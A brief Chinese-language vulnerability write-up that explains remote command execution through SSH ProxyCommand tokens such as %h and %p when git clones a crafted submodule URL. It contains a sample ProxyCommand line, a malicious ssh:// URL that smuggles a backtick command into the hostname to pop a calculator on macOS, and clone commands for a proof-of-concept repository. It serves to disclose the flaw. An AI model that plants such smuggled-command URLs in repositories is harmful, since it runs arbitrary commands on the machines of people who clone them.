~/.ssh/config 实现RCE在 ProxyCommand 中使用像 %h、%p 这样的令牌非常流行,用于通过SSH使用隧道和连接代理。
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
注意:在我最初的评估中,我以为使用 '%h'(单引号)可以避免这种情况,但看起来如果使用如下内容,仍然会存在漏洞:
url = ssh://'`open -aCalculator`'foo.example.com/bar
取自:https://man.openbsd.org/ssh_config#ProxyCommand
一个利用此漏洞在OSX上弹出计算器的子模块。
尝试使用以下命令:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
或
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules